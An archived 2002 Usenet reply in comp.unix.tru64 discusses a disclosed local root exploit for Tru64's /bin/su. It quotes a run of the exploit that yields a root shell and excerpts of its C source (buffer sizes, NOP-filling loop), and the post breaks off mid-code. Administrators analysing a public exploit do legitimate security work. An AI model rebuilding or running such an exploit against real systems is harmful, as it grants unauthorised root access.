From mboxrd@z Thu Jan 1 00:00:00 1970 X-Google-Language: ENGLISH,ASCII-7-bit X-Google-Thread: fa528,f38522ce0f0159be X-Google-Attributes: gidfa528,public X-Google-ArrivalTime: 2002-08-01 07:09:08 PST Path: archiver1.google.com!news1.google.com!newsfeed.stanford.edu!logbridge.uoregon.edu!snoopy.risq.qc.ca!newsflash.concordia.ca!not-for-mail From: syl@alcor.concordia.ca (Sylvain Robitaille) Newsgroups: comp.unix.tru64 Subject: Re: Security warning draws DMCA threat Date: 1 Aug 2002 14:09:06 GMT Organization: Concordia University, Montreal, Canada Message-ID: References: NNTP-Posting-Host: alcor.concordia.ca NNTP-Posting-User: syl User-Agent: slrn/0.9.5.7 (UNIX) Xref: archiver1.google.com comp.unix.tru64:8279 On Wed, 31 Jul 2002 22:50:22 -0500, Dave Uhring wrote: > [duhring]$ ./su > /bin/su by phased > payload 15116b > buffer 8238b > # whoami > root Hrmmm... I notice that in my case, I get: /bin/su by phased payload 15348b buffer 8238b Notice the larger payload. In fact, looking at su.c, that payload is larger than the buffer that was allocated for it??? 51 main(int argc, char *argv[]) { 52 int i, j; 53 char buffer[8239]; 54 char payload[15200]; ... 57 bzero(&buffer, 8239); 58 bzero(&payload, 15200); ... 71 for (i=0;i<15000;) { 72 for(j=0;j<4;j++) { 73 payload[i++] = nop[j]; 74 } 75 } 76 77 for (i=i,j=0;j